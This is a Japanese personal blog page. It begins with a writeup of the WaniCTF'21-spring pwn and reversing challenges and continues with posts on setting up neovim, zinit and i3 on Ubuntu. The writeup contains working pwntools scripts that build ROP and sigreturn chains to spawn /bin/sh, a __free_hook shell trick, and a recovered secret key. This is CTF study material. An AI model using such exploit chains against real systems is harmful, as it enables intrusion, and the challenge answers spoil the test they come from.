WaniCTF'21-spring writeup
はじめに
pwnとrev,半分ぐらい解けました. writeup,書いていきます.
pwn
01 netcat
- netcat (nc)と呼ばれるコマンドを使うだけです。
- つないだら何も出力されなくても知っているコマンドを打ってみましょう。
ncでつなぐだけ
02 free hook
- free_hookの仕組みを理解する必要があります。
free関数が呼び出される時,__free_hookが指す関数が実行されます.
49行目で__free_hookにsystemが設定されているので,freeに"/bin/sh"を指定して実行すれば,シェルが取れます.
❯ ./pwn02 1: add memo 2: view memo 9: del memo command?: 1 index?[0-9]: 0 memo?: /bin/sh [[[list memos]]] ***** 0 ***** /bin/sh 1: add memo 2: view memo 9: del memo command?: 9 index?[0-9]: 0 $ ls pwn02 pwn02.c
03 rop machine easy
system関数が呼び出せる&"/bin/sh"の場所が分かっている状態
x64では,第一引数をrdiにセットします
rop chainを以下のように構築すると,system("/bin/sh")を実行され,シェルが取れます
rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x404070 | +--------------------+ | system | +--------------------+
04 rop machine normal
03の,execve("/bin/sh", 0, 0)を実行させる版
raxにシステムコール番号(今回は0x3b),rdi,rsi,rdxに引数を設定します
rop chainを次のように構築すると,シェルが取れます
+--------------------+ | pop rax; ret |<- rop start +--------------------+ | 0x00003b | +--------------------+ | pop rdi; ret | +--------------------+ | 0x404070 | +--------------------+ | pop rsi; ret | +--------------------+ | 0x0 | +--------------------+ | pop rdx; ret | +--------------------+ | 0x0 | +--------------------+ | syscall; ret | +--------------------+
05 rop machine hard
- ROPgadgetコマンドの使い方を覚えましょう。
- rop machineの使い方->wani-hackase/rop-machine
04とほぼ同じですが,用意されたガジェットをスタックに積むコマンドが用意されていないので,ガジェットのアドレスを調べる必要があります.
今回,rp++を使用して,ガジェットを探しました.
pop rsiだけのガジェットがなかったので,代わりに,pop rsi pop r15を使用します.
from pwn import * binary = "./pwn05" context.binary = binary DEBUG = True GDB = False if DEBUG: context.log_level = "debug" REMOTE = True elif REMOTE: io = remote("rop-normal.pwn.wanictf.org", port = 9005) else: io = process(binary) if GDB: gdb.attach(io) def send_hex_value(value: str): io.recvuntil("> ") io.sendline("1") io.recvuntil("hex value?: ") io.sendline(value) e = ELF(binary) r = ROP(e) syscall = "4012ae" pop_rax = "4012a9" pop_rdi = "40128f" pop_rdx = "40129c" pop_rsi_pop_r15 = "401611" exec_no = "3b" send_hex_value(pop_rax) send_hex_value(exec_no) send_hex_value(pop_rdi) send_hex_value("404078") send_hex_value(pop_rsi_pop_r15) send_hex_value("0") send_hex_value("0") send_hex_value(pop_rdx) send_hex_value("0") send_hex_value(syscall) io.recvuntil("> ") io.sendline("0") #execute rop io.interactive()
06 SuperROP
- sigreturnを用いたROPでシェルを実行してください。
- sigreturnを使うとスタックの値でレジスタを書き換えることができます。
問題文にある通り,sigreturnを使用してexecve("/bin/sh", 0, 0)を実行させます. sigreturnは,スタックを一掃してripにジャンプするシステムコール(システムコール番号15)です.
スタックを一掃するときに,スタックの値をレジスタにセットするので,syscallガジェットがある時,任意のシステムコールが呼び出せます. csレジスタ(コードセグメントレジスタ)は,x64の場合,0x33に設定しておく必要があるそうです x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる - ももいろテクノロジー
bufのアドレスが分かっているので,先頭に"/bin/sh"を置いておき,アドレスを引数に指定します.
from pwn import * binary = "./pwn06" context.binary = binary DEBUG = True if DEBUG: context.log_level = "debug" REMOTE = False if REMOTE: io = remote("srop.pwn.wanictf.org", port = 9006) else: io = process(binary) GDB = False if GDB: gdb.attach(io) e = ELF(binary) r = ROP(e) offset = 72 syscall_ret = 0x0040117e set_rax = 0x0040118c io.recvuntil("buff : ") addr = int(io.recv(14), 16) log.info("addr = 0x%x" % addr) r.raw("/bin/sh\x00") r.raw("A" * (offset - 8)) r.raw(r.find_gadget(["ret"])) r.raw(set_rax) r.raw(syscall_ret) r.raw(0) #uc_flags r.raw(0) #&uc_link r.raw(0) #ss_sp r.raw(0) #ss_flags r.raw(0) #ss_size r.raw(0) #r8 r.raw(0) #r9 r.raw(0) #r10 r.raw(0) #r11 r.raw(0) #r12 r.raw(0) #r13 r.raw(0) #r14 r.raw(0) #r15 r.raw(addr) #rdi (arg1) r.raw(0) #rsi r.raw(0) #rbp r.raw(0) #rbx r.raw(0) #rdx r.raw(0x3b) #rax r.raw(0) #rcx r.raw(0) #rsp r.raw(syscall_ret) #rip r.raw(0) #eflags r.raw(0x33) #cs/gs/fs r.raw(0) r.raw(0) r.raw(0) r.raw(0) r.raw(0) r.raw(0) r.raw(0) r.raw(0) r.raw(0) r.raw(0) log.info(r.dump()) pay = r.chain() io.recv() io.sendline(pay) io.interactive()
pwntoolsには,sigreturnの機能もあるみたいなので,今後使ってみます
rev
secret
この問題では Linux の ELF 実行ファイル(バイナリ)である「secret」が配布されています。
このバイナリを実行すると secret key を入力するように表示されます。
試しに「abcde」と入力してみると「Incorrect」と言われました。
$ file secret secret: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1daf4ab43cfa357911806c3ccae34a1b6e027913, for GNU/Linux 3.2.0, not stripped
$ sudo chmod +x secret
$ ./secret ... Input secret key : abcde Incorrect
$ ./secret ... Input secret key : ?????? Correct! Flag is ??????
このバイナリが正しいと判断する secret key を見つけて読み込んでみましょう!
(secret key とフラグは別の文字列です)
(このファイルを実行するためには Linux 環境が必要となりますので WSL や VirtualBox で用意してください)
ヒント :「表層解析」や「静的解析」を行うことで secret key が見つかるかも...?
表層解析ツール strings
静的解析ツール Ghidra
入力された文字列とsecret keyを比較し,一致した場合にフラグが表示されます. gdbでstrcmpに与えられる引数の中身を見れます.
gdb-peda$ pdisass main ... 0x0000000000001445 <+517>: lea rsi,[rip+0xe94] # 0x22e0 0x000000000000144c <+524>: mov rdi,rax 0x000000000000144f <+527>: call 0x1090 <strncmp@plt> ... gdb-peda$ x/s 0x22e0 0x22e0: "wani_is_the_coolest_animals_in_the_world!"
execute
コマンドを間違えて、ソースコードも消しちゃった!
今残っているファイルだけで実行して頂けますか?
(reverse engineeringすれば、実行しなくても中身は分かるみたいです。)
main.sのソースコードとlibprint.soのシンボル・print関数の中身を調べました. mainからlibprint.soにあるprint関数を用いてフラグを表示させていたようです. main.sをlibprint.soとリンクさせてコンパイルさせると,a.outができたので,stringするとフラグが見れました.
timer
フラグが出てくるまで待てますか?
super_complex_flag_print_function 関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...
GDBを使って動的解析してみるのはいかがでしょうか?
sleepした後のjl命令にブレイクポイントを打ち,SFを書き換える(set $eflags = 0)ことでtimerのループから抜けられます.
おわりに
最近勉強した__free_hookの問題が解けたので良かったです. revは,(もっとキレイな)解き方がいろいろありそうですね.
ubuntuでneovimを使う
ubuntu18.04におけるneovimのインストールと初期設定について
インストール
パッケージをインストールする
sudo add-apt-repository ppa:neovim-ppa/unstable sudo apt update sudo apt install neovim
pythonのモジュールをインストール
pip3 install neovim
nvim
で起動し,echo has('python3')
で1が出力されれば成功.
設定
設定ファイルを以下のように分割している
lsd -T . ├── dein.toml ├── deinlazy.toml ├── init.vim ├── keymap.rc.vim ├── options.rc.vim ├── plugins │ ├── airline.vim │ ├── ale.vim │ ├── anzu.vim │ ├── autoclose.vim │ ├── denite.vim │ ├── deoplete-latex.vim │ ├── deoplete.vim │ ├── fzf.vim │ ├── gitgutter.vim │ ├── markdown.vim │ └── sonictemplate.vim └── template ├── latex │ ├── base-lab.tex │ └── base-repo.tex ├── markdown │ └── base-rist_activity.md. └── python └── base-exploit.py
init.vimがneovimの起動時に最初に読み込まれる.
augroup MyAutoCmd autocmd! augroup END let $NVIM_TUI_ENABLE_TRUE_COLOR=1 set termguicolors let s:dein_cache_path = expand('~/.cache/nvim/dein') let s:dein_dir = s:dein_cache_path \ .'/repos/github.com/Shougo/dein.vim' if &runtimepath !~ '/dein.vim' if !isdirectory(s:dein_dir) execute '!git clone https://github.com/Shougo/dein.vim' s:dein_dir endif execute 'set runtimepath+=' . fnamemodify(s:dein_dir, ':p') endif if dein#load_state(s:dein_cache_path) call dein#begin(s:dein_cache_path) call dein#load_toml('~/.config/nvim/dein.toml', {'lazy' : 0}) call dein#load_toml('~/.config/nvim/deinlazy.toml', {'lazy' : 1}) call dein#load_toml('~/.config/nvim/dein.toml') call dein#end() call dein#save_state() endif if dein#check_install() call dein#install() endif filetype plugin indent on colorscheme lucius runtime! ./options.rc.vim runtime! ./keymap.rc.vim runtime! ./functions.rc.vim let g:dein#auto_recache = 1 " Restore cursor shape to beam on exit augroup restore_cursor_shape autocmd! au VimLeave * set guicursor=a:ver10-blinkoff0 augroup END highlight Normal ctermbg=NONE guibg=NONE highlight NonText ctermbg=NONE guibg=NONE highlight SpecialKey ctermbg=NONE guibg=NONE highlight EndOfBuffer ctermbg=NONE guibg=NONE
プラグインは,dein.tomlに記述し,遅延ロードするプラグインは,deinlazy.tomlに記述する. また,プラグインごとの設定は,pluginsディレクトリ内で記述する.
[[plugins]] repo = 'Shougo/denite.nvim' hook_add = 'source ~/.config/nvim/plugins/denite.vim' [[plugins]] repo = 'Shougo/deoplete.nvim' hook_add = 'source ~/.config/nvim/plugins/deoplete.vim' [[plugins]] repo = 'junegunn/fzf.vim' hook_add = 'source ~/.config/nvim/plugins/fzf.vim' [[plugins]] repo = 'ujihisa/neco-look' [[plugins]] repo = 'Townk/vim-autoclose' hook_add = 'source ~/.config/nvim/plugins/autoclose.vim' [[plugins]] repo = 'iamcco/markdown-preview.vim' [[plugins]] repo = 'lervag/vimtex' [[plugins]] repo = 'scrooloose/nerdTree' [[plugins]] repo = 'vim-airline/vim-airline' hook_add = 'source ~/.config/nvim/plugins/airline.vim' [[plugins]] repo = 'vim-airline/vim-airline-themes' [[plugins]] repo = 'w0rp/ale' hook_add = 'source ~/.config/nvim/plugins/ale.vim' [[plugins]] repo = 'airblade/vim-gitgutter' hook_add = 'source ~/.config/nvim/plugins/gitgutter.vim' [[plugins]] repo = 'osyo-manga/vim-anzu' hook_add = 'source ~/.config/nvim/plugins/anzu.vim' [[plugins]] repo = 'vim-scripts/Align' [[plugins]] repo = 'jonathanfilip/vim-lucius' [[plugins]] repo = 'smancill/conky-syntax.vim' [[plugins]] repo = 'mattn/sonictemplate-vim' hook_add = 'source ~/.config/nvim/plugins/sonictemplate.vim' [[plugins]] repo = 'cespare/vim-toml'
optionやkeymapの設定はまた今度書く
zinitを使ってzshのプラグインを管理する
zinitは,zshのプラグインマネージャ.githubにも書いてある通り,速いのがウリである.一方で,zpreztoなどを使用する場合と比べて,プラグインごとの設定が面倒.
sh -c "$(curl -fsSL https://raw.githubusercontent.com/zdharma/zinit/master/doc/install.sh)"
.zshrcにzinitをロードする記述を追加してよいかどうかを聞かれるため,yを入力.
ここで,僕の.zshrcと導入しているプラグインを載せておく.なお,プラグインやエイリアス,プラグインの設定毎に設定ファイルを分割し,.zshrcで読み込む形を取っている(他の設定ファイルについてはまた今度書く).
.zshrc
# zinitをロード source $HOME/.zinit/bin/zinit.zsh autoload -Uz _zinit (( ${+_comps} )) && _comps[zinit]=_zinit # zshの設定ファイルをロード for file in `\fd . $ZCONFIG/ --type file`; do source $file done # プラグインの設定ファイルをロード for file in `\fd . $ZCONFIG/zplugin/ --type f`;do source $file done # 環境に依存した設定ファイルをロード [ -f $HOME/.zlocal.zsh ] && source $HOME/.zlocal.zsh
$ZCONFIG/zplugin.zsh
zinit light sindresouhus/pure # プロンプトのテーマ zinit light zsh-users/zsh-autosuggestions #コマンド履歴からの補完 zinit light zsh-users/zsh-completions # コマンドのオプションなど,補完の強化 zinit light zsh-user/zsh-syntax-highlighting # シンタックスハイライト zinit load junegunn/fzf-bin # fzf
ubuntuでi3を使う
ubuntuでは,ウィンドウマネージャにi3を採用しているデスクトップ環境として,regolith-desktopがある.i3barなど,あらかじめいい感じに設定されているため,インストールした直後から普通に使える.
sudo add-apt-repository -y ppa://kgilmer/regolith-stable sudo apt update sudo apt install regolith-desktop
ログアウトor再起動をし,ログイン時の歯車マークからregolith desktopを選択.
カスタマイズをしたい場合は,デフォルトの設定をホームディレクトリにコピーし,それを編集する.
mkdir ~/.config/regolith/i3 cp /etc/regolith/i3/config ~/.config/regolith/i3/
i3のキーバインドで起動するデフォルトのアプリが微妙(ウェブはchroom,ターミナルはregolith terminal)なので,そのへんはホームディレクトリにコピーしたconfigを書き換えるとよい. i3などのタイル型ウィンドウマネージャで使用するターミナルソフトは,termiteがおすすめ.
bindsym $mod+Shift+Return exec firefox bindsym $mod+Return exec termite
デフォルトで下に表示されるバーには,i3xrocks以外にも,
- i3status
- i3blocks
- conky
などが使用できる.~/.config/regolith/i3/configのbarブロック内で,
status_command i3status
バーの位置も変更できる
position top
barの設定などについては,また今度書く.